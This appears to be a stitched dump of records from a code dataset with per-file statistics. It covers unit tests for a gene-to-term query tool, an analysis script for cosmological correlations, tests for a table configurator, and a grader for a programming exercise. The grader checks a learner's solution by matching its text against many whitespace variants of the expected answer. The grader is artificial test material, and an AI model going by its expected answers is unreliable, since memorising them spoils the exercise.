tfile = os.path.join(temp_dir, 'foo')
with open(tfile, 'w') as f:
f.write('hellothere')
res = cdiquerygenestotermcmd.read_inputfile(tfile)
self.assertEqual('hellothere', res)
finally:
shutil.rmtree(temp_dir)
def test_parse_args(self):
myargs = ['inputarg']
res = cdiquerygenestotermcmd._parse_arguments('desc',
myargs)
self.assertEqual('inputarg', res.input)
self.assertEqual('http://public.ndexbio.org', res.url)
self.assertEqual(1, res.polling_interval)
self.assertEqual(180, res.retrycount)
self.assertEqual(30, res.timeout)
def test_run_iquery_no_file(self):
temp_dir = tempfile.mkdtemp()
try:
tfile = os.path.join(temp_dir, 'foo')
myargs = [tfile]
theargs = cdiquerygenestotermcmd._parse_arguments('desc',
myargs)
try:
cdiquerygenestotermcmd.run_iquery(tfile,
theargs)
self.fail('Expected FileNotFoundError')
except FileNotFoundError:
pass
finally:
shutil.rmtree(temp_dir)
def test_run_iquery_empty_file(self):
temp_dir = tempfile.mkdtemp()
try:
tfile = os.path.join(temp_dir, 'foo')
open(tfile, 'a').close()
myargs = [tfile]
theargs = cdiquerygenestotermcmd._parse_arguments('desc',
myargs)
res = cdiquerygenestotermcmd.run_iquery(tfile,
theargs)
self.assertEqual(None, res)
finally:
shutil.rmtree(temp_dir)
def test_get_best_result_by_singularity_one_entry(self):
qres = {'sources': [{'results': [{'description': 'somedescription',
'details': {'PValue': 5,
'similarity': 0.002},
'url': 'someurl',
'nodes': 4,
'hitGenes': ['1', '2']}]}]}
res = cdiquerygenestotermcmd.get_best_result_by_similarity(qres)
self.assertEqual('somedescription', res['description'])
def test_get_best_result_by_singularity_two_entries(self):
qres = {'sources': [{'results': [{'description': 'somedescription',
'details': {'PValue': 5,
'similarity': 0.002},
'url': 'someurl',
'nodes': 4,
'hitGenes': ['1', '2']},
{'description': 'somedescription2',
'details': {'PValue': 5,
'similarity': 0.4},
'url': 'someurl',
'nodes': 4,
'hitGenes': ['1', '2']}
]}]}
res = cdiquerygenestotermcmd.get_best_result_by_similarity(qres)
self.assertEqual('somedescription2', res['description'])
self.assertEqual(0.4, res['details']['similarity'])
def test_get_best_result_by_singularity_three_entries(self):
qres = {'sources': [{'results': [{'description': 'somedescription',
'details': {'PValue': 5,
'similarity': 0.41},
'url': 'someurl',
'nodes': 4,
'hitGenes': ['1', '2']},
{'description': 'somedescription2',
'details': {'PValue': 5,
'similarity': 0.4},
'url': 'someurl',
'nodes': 4,
'hitGenes': ['1', '2']},
{'description': 'somedescription3',
'details': {'PValue': 5,
'similarity': 0.2},
'url': 'someurl',
'nodes': 4,
'hitGenes': ['1', '2']}
]}]}
res = cdiquerygenestotermcmd.get_best_result_by_similarity(qres)
self.assertEqual('somedescription', res['description'])
self.assertEqual(0.41, res['details']['similarity'])
def test_get_completed_result_error(self):
with requests_mock.Mocker() as m:
m.get('http://foo/integratedsearch/'
'v1/mytaskid',
status_code=500)
res = cdiquerygenestotermcmd.\
get_completed_result('http://foo',
'mytaskid',
'hi')
self.assertEqual(None, res)
def test_get_completed_result_successful(self):
with requests_mock.Mocker() as m:
m.get('http://foo/integratedsearch/'
'v1/mytaskid',
json={'hi': 'there'})
res = cdiquerygenestotermcmd.\
get_completed_result('http://foo',
'mytaskid',
'hi')
self.assertEqual({'hi': 'there'}, res)
def test_wait_for_result_done_immediately(self):
with requests_mock.Mocker() as m:
m.get('http://foo/integratedsearch/v1/t/status',
json={'progress': 100,
'status': 'complete'})
res = cdiquerygenestotermcmd. \
wait_for_result('http://foo',
't', user_agent='hi')
self.assertEqual(True, res)
def test_wait_for_result_error(self):
with requests_mock.Mocker() as m:
m.get('http://foo/integratedsearch/v1/t/status',
json={'progress': 100,
'status': 'error'})
res = cdiquerygenestotermcmd. \
wait_for_result('http://foo',
't', user_agent='hi')
self.assertEqual(False, res)
def test_wait_for_result_eventual_success(self):
with requests_mock.Mocker() as m:
m.register_uri('GET', 'http://foo/'
'integratedsearch/v1/t/status',
[{'json': {'progress': 50, 'status': ''},
'status_code': 200},
{'status_code': 500},
{'json': {'progress': 100, 'status': 'complete'},
'status_code': 200}])
res = cdiquerygenestotermcmd. \
wait_for_result('http://foo',
't', user_agent='hi',
polling_interval=0.001)
self.assertEqual(True, res)
def test_wait_for_call_timeout(self):
with requests_mock.Mocker() as m:
m.register_uri('GET', 'http://foo/'
'integratedsearch/v1/t/status',
[{'exc': requests.exceptions.ConnectTimeout},
{'status_code': 500},
{'json': {'progress': 100, 'status': 'complete'},
'status_code': 200}])
res = cdiquerygenestotermcmd. \
wait_for_result('http://foo',
't', user_agent='hi',
polling_interval=0.001)
self.assertEqual(True, res)
def test_wait_for_result_retry_exceeded(self):
with requests_mock.Mocker() as m:
m.register_uri('GET', 'http://foo/'
'integratedsearch/v1/t/status',
[{'json': {'progress': 50, 'status': ''},
'status_code': 200},
{'status_code': 500},
{'json': {'progress': 100, 'status': 'complete'},
'status_code': 200}])
res = cdiquerygenestotermcmd. \
wait_for_result('http://foo',
't', user_agent='hi',
polling_interval=0.001,
retrycount=2)
self.assertEqual(False, res)
def test_get_result_in_mapped_term_json_errors(self):
# try None
res = cdiquerygenestotermcmd.get_result_in_mapped_term_json(None)
self.assertEqual(None, res)
# try empty dict
result = {}
res = cdiquerygenestotermcmd.get_result_in_mapped_term_json(result)
self.assertEqual(None, res)
# try None sources
result = {'sources': None}
res = cdiquerygenestotermcmd.get_result_in_mapped_term_json(result)
self.assertEqual(None, res)
# try empty sources
result = {'sources': []}
res = cdiquerygenestotermcmd.get_result_in_mapped_term_json(result)
self.assertEqual(None, res)
# results not in first sources
result = {'sources': [{'hi': 'there'}]}
res = cdiquerygenestotermcmd.get_result_in_mapped_term_json(result)
self.assertEqual(None, res)
# results is None
result = {'sources': [{'results': None}]}
res = cdiquerygenestotermcmd.get_result_in_mapped_term_json(result)
self.assertEqual(None, res)
# results is empty
result = {'sources': [{'results': []}]}
res = cdiquerygenestotermcmd.get_result_in_mapped_term_json(result)
self.assertEqual(None, res)
def test_get_result_in_mapped_term_json_with_colon_success(self):
result = {'sources': [{'results': [{'description': 'hi: somedescription',
'details': {'PValue': 5, 'similarity': 0.1},
'url': 'someurl',
'nodes': 3,
'hitGenes': ['1', '2']}]}]}
res = cdiquerygenestotermcmd.get_result_in_mapped_term_json(result)
self.assertEqual('somedescription', res['name'])
self.assertEqual('hi', res['source'])
self.assertEqual('someurl', res['description'])
self.assertEqual(5, res['p_value'])
self.assertEqual(['1', '2'], res['intersections'])
self.assertEqual(3, res['term_size'])
def test_get_result_in_mapped_term_json_no_colon_success(self):
result = {'sources': [{'results': [{'description': 'somedescription',
'details': {'PValue': 5,
'similarity': 0.001},
'url': 'someurl',
'nodes': 2,
'hitGenes': ['1', '2']}]}]}
res = cdiquerygenestotermcmd.get_result_in_mapped_term_json(result)
self.assertEqual('somedescription', res['name'])
self.assertEqual('NA', res['source'])
self.assertEqual('someurl', res['description'])
self.assertEqual(5, res['p_value'])
self.assertEqual(['1', '2'], res['intersections'])
self.assertEqual(2, res['term_size'])
def test_successful_run(self):
temp_dir = tempfile.mkdtemp()
try:
inputfile = os.path.join(temp_dir, 'input.txt')
with open(inputfile, 'w') as f:
f.write('hi,there\n')
user_agent = 'cdiquerygenestoterm/' + cdiquerygenestoterm.__version__
with requests_mock.Mocker() as m:
qres = {'sources': [{'results': [{'description': 'somedescription',
'details': {'PValue': 5,
'similarity': 0.002},
'url': 'someurl',
'nodes': 4,
'hitGenes': ['1', '2']}]}]}
m.get('http://foo/integratedsearch/v1/t',
json=qres, complete_qs=True)
m.get('http://foo/integratedsearch/v1/t/status',
json={'progress': 100,
'status': 'complete'})
m.post('http://foo/integratedsearch/v1/',
request_headers={'Content-Type': 'application/json',
'User-Agent': user_agent},
status_code=202, json={'id': 't'})
myargs = [inputfile, '--url', 'http://foo']
p = cdiquerygenestotermcmd._parse_arguments('desc',
myargs)
res = cdiquerygenestotermcmd.run_iquery(inputfile, p)
self.assertEqual('somedescription', res['name'])
self.assertEqual('NA', res['source'])
self.assertEqual(5, res['p_value'])
self.assertEqual('someurl', res['description'])
self.assertEqual(['1', '2'], res['intersections'])
self.assertEqual(4, res['term_size'])
finally:
shutil.rmtree(temp_dir)
def test_request_failed(self):
temp_dir = tempfile.mkdtemp()
try:
inputfile = os.path.join(temp_dir, 'input.txt')
with open(inputfile, 'w') as f:
f.write('hi,there\n')
user_agent = 'cdiquerygenestoterm/' + cdiquerygenestoterm.__version__
with requests_mock.Mocker() as m:
m.post('http://foo/integratedsearch/v1/',
request_headers={'Content-Type': 'application/json',
'User-Agent': user_agent},
status_code=404, json={'id': 't'})
myargs = [inputfile, '--url', 'http://foo']
p = cdiquerygenestotermcmd._parse_arguments('desc',
myargs)
res = cdiquerygenestotermcmd.run_iquery(inputfile, p)
self.assertEqual(None, res)
finally:
shutil.rmtree(temp_dir)
def test_request_wait_failed(self):
temp_dir = tempfile.mkdtemp()
try:
inputfile = os.path.join(temp_dir, 'input.txt')
with open(inputfile, 'w') as f:
f.write('hi,there\n')
user_agent = 'cdiquerygenestoterm/' + cdiquerygenestoterm.__version__
with requests_mock.Mocker() as m:
m.register_uri('GET', 'http://foo/'
'integratedsearch/v1/t/status',
[{'json': {'progress': 50, 'status': ''},
'status_code': 200},
{'status_code': 500},
{'json': {'progress': 50, 'status': ''},
'status_code': 200}])
m.post('http://foo/integratedsearch/v1/',
request_headers={'Content-Type': 'application/json',
'User-Agent': user_agent},
status_code=202, json={'id': 't'})
myargs = [inputfile, '--url', 'http://foo',
'--polling_interval', '0.001',
'--retrycount', '2']
p = cdiquerygenestotermcmd._parse_arguments('desc',
myargs)
res = cdiquerygenestotermcmd.run_iquery(inputfile, p)
self.assertEqual(None, res)
finally:
shutil.rmtree(temp_dir)
def test_main_invalid_file(self):
temp_dir = tempfile.mkdtemp()
try:
tfile = os.path.join(temp_dir, 'foo')
myargs = ['prog', tfile]
res = cdiquerygenestotermcmd.main(myargs)
self.assertEqual(2, res)
finally:
shutil.rmtree(temp_dir)
def test_main_empty_file(self):
temp_dir = tempfile.mkdtemp()
try:
tfile = os.path.join(temp_dir, 'foo')
open(tfile, 'a').close()
myargs = ['prog', tfile]
res = cdiquerygenestotermcmd.main(myargs)
self.assertEqual(0, res)
finally:
shutil.rmtree(temp_dir)
if __name__ == '__main__':
sys.exit(unittest.main())
| 44.349876
| 88
| 0.461254
| 1,477
| 17,873
| 5.383886
| 0.126608
| 0.090543
| 0.049296
| 0.04087
| 0.846705
| 0.822309
| 0.781439
| 0.74585
| 0.712022
| 0.654804
| 0
| 0.018764
| 0.418564
| 17,873
| 402
| 89
| 44.460199
| 0.74644
| 0.014771
| 0
| 0.733918
| 0
| 0
| 0.14591
| 0.006366
| 0
| 0
| 0
| 0
| 0.140351
| 1
| 0.070175
| false
| 0.008772
| 0.02924
| 0
| 0.102339
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8c774587fc4dff841f9c945341a239d4acaf7701
| 4,391
|
py
|
Python
|
exercises/test_F3.py
|
dataXcode/IPP
|
c9b94ad2d7dc14b01e6657a4fa555507bbc7e93b
|
[
"MIT"
] | null | null | null |
exercises/test_F3.py
|
dataXcode/IPP
|
c9b94ad2d7dc14b01e6657a4fa555507bbc7e93b
|
[
"MIT"
] | null | null | null |
exercises/test_F3.py
|
dataXcode/IPP
|
c9b94ad2d7dc14b01e6657a4fa555507bbc7e93b
|
[
"MIT"
] | null | null | null |
def test():
# Test
assert("for index, area in enumerate(areas)" in __solution__ or "for index, area in enumerate( areas)" in __solution__ or "for index, area in enumerate(areas )" in __solution__ or "for index, area in enumerate( areas )" in __solution__
), "اجابة خاطئة: هناك خطأ في صناعة اللوب"
assert("'Room ' + str(index + 1) + ': ' + str(area)" in __solution__ or "'Room ' + str(index+1) + ': ' + str(area)" in __solution__ or "'Room ' + str( index + 1) + ': ' + str(area)" in __solution__ or "'Room ' + str( index + 1 ) + ': ' + str(area)" in __solution__
or "'Room ' + str(index+ 1) + ': ' + str(area)" in __solution__ or "'Room ' + str(index +1) + ': ' + str(area)" in __solution__ or "'Room ' + str( index+1 ) + ': ' + str(area)" in __solution__ or "'Room ' + str( index+ 1) + ': ' + str(area)" in __solution__
or "'Room ' + str( index +1) + ': ' + str(area)" in __solution__ or "'Room ' + str( index+1) + ': ' + str(area)" in __solution__ or "'Room ' + str(index+1 ) + ': ' + str(area)" in __solution__
or "'Room ' + str(index + 1) + ': ' + str( area)" in __solution__ or "'Room ' + str(index+1) + ': ' + str( area)" in __solution__ or "'Room ' + str( index + 1) + ': ' + str( area)" in __solution__ or "'Room ' + str( index + 1 ) + ': ' + str( area)" in __solution__
or "'Room ' + str(index+ 1) + ': ' + str( area)" in __solution__ or "'Room ' + str(index +1) + ': ' + str( area)" in __solution__ or "'Room ' + str( index+1 ) + ': ' + str( area)" in __solution__ or "'Room ' + str( index+ 1) + ': ' + str( area)" in __solution__
or "'Room ' + str( index +1) + ': ' + str( area)" in __solution__ or "'Room ' + str( index+1) + ': ' + str( area)" in __solution__ or "'Room ' + str(index+1 ) + ': ' + str( area)" in __solution__
or "'Room ' + str(index + 1) + ': ' + str(area )" in __solution__ or "'Room ' + str(index+1) + ': ' + str(area )" in __solution__ or "'Room ' + str( index + 1) + ': ' + str(area )" in __solution__ or "'Room ' + str( index + 1 ) + ': ' + str(area )" in __solution__
or "'Room ' + str(index+ 1) + ': ' + str(area )" in __solution__ or "'Room ' + str(index +1) + ': ' + str(area )" in __solution__ or "'Room ' + str( index+1 ) + ': ' + str(area )" in __solution__ or "'Room ' + str( index+ 1) + ': ' + str(area )" in __solution__
or "'Room ' + str( index +1) + ': ' + str(area )" in __solution__ or "'Room ' + str( index+1) + ': ' + str(area )" in __solution__ or "'Room ' + str(index+1 ) + ': ' + str(area )" in __solution__
or "'Room ' + str(index + 1 ) + ': ' + str(area )" in __solution__ or "'Room ' + str(index+1 ) + ': ' + str(area )" in __solution__ or "'Room ' + str( index + 1 ) + ': ' + str(area )" in __solution__
or "'Room ' + str(index+ 1 ) + ': ' + str(area )" in __solution__ or "'Room ' + str(index +1 ) + ': ' + str(area )" in __solution__ or "'Room ' + str( index+ 1 ) + ': ' + str(area )" in __solution__
or "'Room ' + str( index +1 ) + ': ' + str(area )" in __solution__ or "'Room ' + str( index+1 ) + ': ' + str(area )" in __solution__
or "'Room ' + str(index + 1 ) + ': ' + str(area)" in __solution__ or "'Room ' + str(index+1 ) + ': ' + str(area)" in __solution__ or "'Room ' + str( index + 1 ) + ': ' + str(area)" in __solution__
or "'Room ' + str(index+ 1 ) + ': ' + str(area)" in __solution__ or "'Room ' + str(index +1 ) + ': ' + str(area)" in __solution__ or "'Room ' + str( index+ 1 ) + ': ' + str(area)" in __solution__
or "'Room ' + str( index +1 ) + ': ' + str(area)" in __solution__ or "'Room ' + str( index+1 ) + ': ' + str(area)" in __solution__
or "'Room ' + str(index + 1 ) + ': ' + str( area)" in __solution__ or "'Room ' + str(index+1 ) + ': ' + str( area)" in __solution__ or "'Room ' + str( index + 1 ) + ': ' + str( area)" in __solution__
or "'Room ' + str(index+ 1 ) + ': ' + str( area)" in __solution__ or "'Room ' + str(index +1 ) + ': ' + str( area)" in __solution__ or "'Room ' + str( index+ 1 ) + ': ' + str( area)" in __solution__
or "'Room ' + str( index +1 ) + ': ' + str( area)" in __solution__ or "'Room ' + str( index+1 ) + ': ' + str( area)" in __solution__
), "اجابة خاطئة: هناك خطأ في امر الطباعه"
__msg__.good("اجابة صحيحة. احسنت")
| 141.645161
| 275
| 0.530859
| 571
| 4,391
| 3.647986
| 0.047285
| 0.175708
| 0.339894
| 0.355737
| 0.968795
| 0.968795
| 0.968795
| 0.950552
| 0.950552
| 0.950552
| 0
| 0.017658
| 0.26486
| 4,391
| 30
| 276
| 146.366667
| 0.627633
| 0.000911
| 0
| 0.73913
| 0
| 0
| 0.621665
| 0
| 0
| 0
| 0
| 0
| 0.086957
| 1
| 0.043478
| true
| 0
| 0
| 0
| 0.043478
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
8caf99b9b58822f12a780514bc9d74f2eb0f351e
| 2,331
|
py
|
Python
|
clusterresults/adr7full.py
|
rohinkumar/CorrelCalc
|
d7887448af8d3dc3170c00c0aae6ee2561b8a3d5
|
[
"MIT"
] | null | null | null |
clusterresults/adr7full.py
|
rohinkumar/CorrelCalc
|
d7887448af8d3dc3170c00c0aae6ee2561b8a3d5
|
[
"MIT"
] | null | null | null |
clusterresults/adr7full.py
|
rohinkumar/CorrelCalc
|
d7887448af8d3dc3170c00c0aae6ee2561b8a3d5
|
[
"MIT"
] | null | null | null |
from correlcalc import *
bins = np.arange(0.002,0.052,0.002)
acorrdr7flcdmls=atpcf('/usr3/vstr/yrohin/Downloads/DR7-Full.ascii',bins,bins,randfile='/usr3/vstr/yrohin/Downloads/random-DR7-Full.ascii',vtype='sigpi',estimator='ls',weights='eq')
print("-------------------------------------")
acorrdr7flcdmlsw=atpcf('/usr3/vstr/yrohin/Downloads/DR7-Full.ascii',bins,bins,randfile='/usr3/vstr/yrohin/Downloads/random-DR7-Full.ascii',vtype='sigpi',estimator='ls',weights=True)
print("-------------------------------------")
print("Calulating for sflat-mu")
binspar = np.arange(0.002,0.052,0.002)
binsper = np.arange(0.05,1.05,0.05)
acorrdr7flcdmsmu=atpcf('/usr3/vstr/yrohin/Downloads/DR7-Full.ascii',binspar,binsper,randfile='/usr3/vstr/yrohin/Downloads/random-DR7-Full.ascii',vtype='smu',estimator='ls',weights='eq')
print("-------------------------------------")
acorrdr7flcdmsmu=atpcf('/usr3/vstr/yrohin/Downloads/DR7-Full.ascii',binspar,binsper,randfile='/usr3/vstr/yrohin/Downloads/random-DR7-Full.ascii',vtype='smu',estimator='ls',weights=True)
print("-------------------------------------")
print("Calulating for Rh=ct flat lc s-mu")
binspar = np.arange(0.002,0.052,0.002)
binsper = np.arange(0.05,1.05,0.05)
acorrdr7flcsmu=atpcf('/usr3/vstr/yrohin/Downloads/DR7-Full.ascii',binspar,binsper,randfile='/usr3/vstr/yrohin/Downloads/random-DR7-Full.ascii',vtype='smu',estimator='ls',weights='eq',cosmology='lc',geometry='flat')
print("-------------------------------------")
acorrdr7flcsmu=atpcf('/usr3/vstr/yrohin/Downloads/DR7-Full.ascii',binspar,binsper,randfile='/usr3/vstr/yrohin/Downloads/random-DR7-Full.ascii',vtype='smu',estimator='ls',weights=True,cosmology='lc',geometry='flat')
print("-------------------------------------")
print("Calulating for Milne open lc s-mu")
binspar = np.arange(0.002,0.052,0.002)
binsper = np.arange(0.05,1.05,0.05)
acorrdr7olcsmu=atpcf('/usr3/vstr/yrohin/Downloads/DR7-Full.ascii',binspar,binsper,randfile='/usr3/vstr/yrohin/Downloads/random-DR7-Full.ascii',vtype='smu',estimator='ls',weights='eq',cosmology='lc',geometry='open')
print("-------------------------------------")
acorrdr7olcsmu=atpcf('/usr3/vstr/yrohin/Downloads/DR7-Full.ascii',binspar,binsper,randfile='/usr3/vstr/yrohin/Downloads/random-DR7-Full.ascii',vtype='smu',estimator='ls',weights=True,cosmology='lc',geometry='open')
| 83.25
| 214
| 0.677392
| 319
| 2,331
| 4.949843
| 0.15674
| 0.081064
| 0.141862
| 0.233059
| 0.931602
| 0.912603
| 0.912603
| 0.912603
| 0.868271
| 0.868271
| 0
| 0.050572
| 0.024453
| 2,331
| 27
| 215
| 86.333333
| 0.643799
| 0
| 0
| 0.5
| 0
| 0
| 0.494208
| 0.423423
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.038462
| 0
| 0.038462
| 0.384615
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8cbc7c3f817d9a9ab3a1064f5f2e2e0adb7b1773
| 10,351
|
py
|
Python
|
tests/unit/configure/test_TableConfigCompleter.py
|
benkrikler/alphatwirl
|
cda7d12fec21291ea33af23234fc08be19430934
|
[
"BSD-3-Clause"
] | null | null | null |
tests/unit/configure/test_TableConfigCompleter.py
|
benkrikler/alphatwirl
|
cda7d12fec21291ea33af23234fc08be19430934
|
[
"BSD-3-Clause"
] | 7
|
2018-02-26T10:32:26.000Z
|
2018-03-19T12:27:12.000Z
|
tests/unit/configure/test_TableConfigCompleter.py
|
benkrikler/alphatwirl
|
cda7d12fec21291ea33af23234fc08be19430934
|
[
"BSD-3-Clause"
] | null | null | null |
import unittest
import os
from alphatwirl.configure import TableConfigCompleter
##__________________________________________________________________||
class MockDefaultSummary: pass
##__________________________________________________________________||
class MockSummary2: pass
##__________________________________________________________________||
class MockWeight: pass
##__________________________________________________________________||
class MockBinning: pass
##__________________________________________________________________||
class TestTableConfigCompleter(unittest.TestCase):
def setUp(self):
self.maxDiff = None # https://docs.python.org/2/library/unittest.html
self.defaultWeight = MockWeight()
self.obj = TableConfigCompleter(
defaultSummaryClass = MockDefaultSummary,
defaultWeight = self.defaultWeight,
defaultOutDir = 'tmp'
)
def test_repr(self):
obj = self.obj
repr(obj)
def test_copy_not_the_same_object(self):
obj = self.obj
tblcfg_in = dict(keyAttrNames = ('met_pt', ), binnings = (MockBinning(), ))
tblcfg_out = obj.complete(tblcfg_in)
self.assertIsNot(tblcfg_in, tblcfg_out)
def test_empty_input(self):
obj = self.obj
defaultWeight = self.defaultWeight
expected = dict(
keyAttrNames = (),
keyIndices = None,
binnings = None,
keyOutColumnNames = (),
valAttrNames = None,
valIndices = None,
summaryClass = MockDefaultSummary,
valOutColumnNames = ('n', 'nvar'),
weight = defaultWeight,
sort = True,
nevents = None,
outFile = True,
outFileName = 'tbl_n.txt',
outFilePath = 'tmp/tbl_n.txt',
)
tblcfg = dict()
actual = obj.complete(tblcfg)
self.assertEqual(actual, expected)
def test_simple_input(self):
obj = self.obj
defaultWeight = self.defaultWeight
binning1 = MockBinning()
expected = dict(
keyAttrNames = ('met_pt',),
keyIndices = None,
binnings = (binning1, ),
keyOutColumnNames = ('met_pt',),
valAttrNames = None,
valIndices = None,
summaryClass = MockDefaultSummary,
valOutColumnNames = ('n', 'nvar'),
weight = defaultWeight,
sort = True,
nevents = None,
outFile = True,
outFileName = 'tbl_n.met_pt.txt',
outFilePath = 'tmp/tbl_n.met_pt.txt',
)
tblcfg = dict(
keyAttrNames = ('met_pt', ),
binnings = (binning1, )
)
actual = obj.complete(tblcfg)
self.assertEqual(actual, expected)
def test_default_summary_class_empty_key(self):
obj = self.obj
defaultWeight = self.defaultWeight
expected = dict(
keyAttrNames = (),
keyIndices = None,
binnings = (),
keyOutColumnNames = (),
valAttrNames = None,
valIndices = None,
summaryClass = MockDefaultSummary,
valOutColumnNames = ('n', 'nvar'),
weight = defaultWeight,
sort = True,
nevents = None,
outFile = True,
outFileName = 'tbl_n.txt',
outFilePath = 'tmp/tbl_n.txt',
)
tblcfg = dict(
keyAttrNames = ( ),
binnings = ( )
)
actual = obj.complete(tblcfg)
self.assertEqual(actual, expected)
def test_specify_summary_class_empty_key_empty_val(self):
obj = self.obj
defaultWeight = self.defaultWeight
expected = dict(
keyAttrNames = (),
keyIndices = None,
binnings = (),
keyOutColumnNames = (),
valAttrNames = None,
valIndices = None,
summaryClass = MockSummary2,
valOutColumnNames = (),
weight = defaultWeight,
sort = True,
nevents = None,
outFile = True,
outFileName = 'tbl_MockSummary2.txt',
outFilePath = 'tmp/tbl_MockSummary2.txt',
)
tblcfg = dict(
keyAttrNames = ( ),
binnings = ( ),
summaryClass = MockSummary2,
)
actual = obj.complete(tblcfg)
self.assertEqual(actual, expected)
def test_specify_summary_class_2_keys_empty_vals(self):
obj = self.obj
defaultWeight = self.defaultWeight
binning1 = MockBinning()
binning2 = MockBinning()
expected = dict(
keyAttrNames = ('key1', 'key2'),
keyIndices = None,
binnings = (binning1, binning2),
keyOutColumnNames = ('key1', 'key2'),
valAttrNames = None,
valIndices = None,
summaryClass = MockSummary2,
valOutColumnNames = (),
weight = defaultWeight,
sort = True,
nevents = None,
outFile = True,
outFileName = 'tbl_MockSummary2.key1.key2.txt',
outFilePath = 'tmp/tbl_MockSummary2.key1.key2.txt',
)
tblcfg = dict(
keyAttrNames = ('key1', 'key2'),
binnings = (binning1, binning2),
summaryClass = MockSummary2,
)
actual = obj.complete(tblcfg)
self.assertEqual(actual, expected)
def test_specify_summary_class_2_keys_2_vals(self):
obj = self.obj
defaultWeight = self.defaultWeight
binning1 = MockBinning()
binning2 = MockBinning()
expected = dict(
keyAttrNames = ('key1', 'key2'),
keyIndices = None,
binnings = (binning1, binning2),
keyOutColumnNames = ('key1', 'key2'),
valAttrNames = ('val1', 'val2'),
valIndices = None,
summaryClass = MockSummary2,
valOutColumnNames = ('val1', 'val2'),
weight = defaultWeight,
sort = True,
nevents = None,
outFile = True,
outFileName = 'tbl_MockSummary2.key1.key2.val1.val2.txt',
outFilePath = 'tmp/tbl_MockSummary2.key1.key2.val1.val2.txt',
)
tblcfg = dict(
keyAttrNames = ('key1', 'key2'),
binnings = (binning1, binning2),
valAttrNames = ('val1', 'val2'),
summaryClass = MockSummary2,
)
actual = obj.complete(tblcfg)
self.assertEqual(actual, expected)
def test_specify_summary_class_2_keys_2_vals_key_indices(self):
obj = self.obj
defaultWeight = self.defaultWeight
binning1 = MockBinning()
binning2 = MockBinning()
expected = dict(
keyAttrNames = ('key1', 'key2'),
keyIndices = (None, 1),
binnings = (binning1, binning2),
keyOutColumnNames = ('key1', 'key2'),
valAttrNames = ('val1', 'val2'),
valIndices = None,
summaryClass = MockSummary2,
valOutColumnNames = ('val1', 'val2'),
weight = defaultWeight,
sort = True,
nevents = None,
outFile = True,
outFileName = 'tbl_MockSummary2.key1.key2-1.val1.val2.txt',
outFilePath = 'tmp/tbl_MockSummary2.key1.key2-1.val1.val2.txt',
)
tblcfg = dict(
keyAttrNames = ('key1', 'key2'),
binnings = (binning1, binning2),
keyIndices = (None, 1),
valAttrNames = ('val1', 'val2'),
summaryClass = MockSummary2,
)
actual = obj.complete(tblcfg)
self.assertEqual(actual, expected)
def test_specify_summary_class_2_keys_2_vals_val_indices(self):
obj = self.obj
defaultWeight = self.defaultWeight
binning1 = MockBinning()
binning2 = MockBinning()
expected = dict(
keyAttrNames = ('key1', 'key2'),
keyIndices = None,
binnings = (binning1, binning2),
keyOutColumnNames = ('key1', 'key2'),
valAttrNames = ('val1', 'val2'),
valIndices = (2, None),
summaryClass = MockSummary2,
valOutColumnNames = ('val1', 'val2'),
weight = defaultWeight,
sort = True,
nevents = None,
outFile = True,
outFileName = 'tbl_MockSummary2.key1.key2.val1-2.val2.txt',
outFilePath = 'tmp/tbl_MockSummary2.key1.key2.val1-2.val2.txt',
)
tblcfg = dict(
keyAttrNames = ('key1', 'key2'),
binnings = (binning1, binning2),
valAttrNames = ('val1', 'val2'),
summaryClass = MockSummary2,
valIndices = (2, None),
)
actual = obj.complete(tblcfg)
self.assertEqual(actual, expected)
def test_specify_summary_class_2_keys_2_vals_key_indices_val_indices(self):
obj = self.obj
defaultWeight = self.defaultWeight
binning1 = MockBinning()
binning2 = MockBinning()
expected = dict(
keyAttrNames = ('key1', 'key2'),
keyIndices = (None, 1),
binnings = (binning1, binning2),
keyOutColumnNames = ('key1', 'key2'),
valAttrNames = ('val1', 'val2'),
valIndices = (2, 3),
summaryClass = MockSummary2,
valOutColumnNames = ('val1', 'val2'),
weight = defaultWeight,
sort = True,
nevents = None,
outFile = True,
outFileName = 'tbl_MockSummary2.key1.key2-1.val1-2.val2-3.txt',
outFilePath = 'tmp/tbl_MockSummary2.key1.key2-1.val1-2.val2-3.txt',
)
tblcfg = dict(
keyAttrNames = ('key1', 'key2'),
binnings = (binning1, binning2),
keyIndices = (None, 1),
valAttrNames = ('val1', 'val2'),
summaryClass = MockSummary2,
valIndices = (2, 3),
)
actual = obj.complete(tblcfg)
self.assertEqual(actual, expected)
##__________________________________________________________________||
| 29.240113
| 83
| 0.551251
| 806
| 10,351
| 6.471464
| 0.109181
| 0.038344
| 0.023198
| 0.029525
| 0.860429
| 0.826495
| 0.826495
| 0.814609
| 0.802339
| 0.750383
| 0
| 0.026324
| 0.34673
| 10,351
| 353
| 84
| 29.322946
| 0.745046
| 0.044054
| 0
| 0.749077
| 0
| 0
| 0.081158
| 0.04493
| 0
| 0
| 0
| 0
| 0.0369
| 1
| 0.04428
| false
| 0.01476
| 0.01107
| 0
| 0.073801
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8cf62c86aab32aaaf7ba687ba71db9322f13960a
| 174
|
py
|
Python
|
message_media_webhooks/exceptions/__init__.py
|
messagemedia/webhooks-python-sdk
|
97a35505298a17041e394353e469e9cf4d5d35e9
|
[
"Apache-2.0"
] | null | null | null |
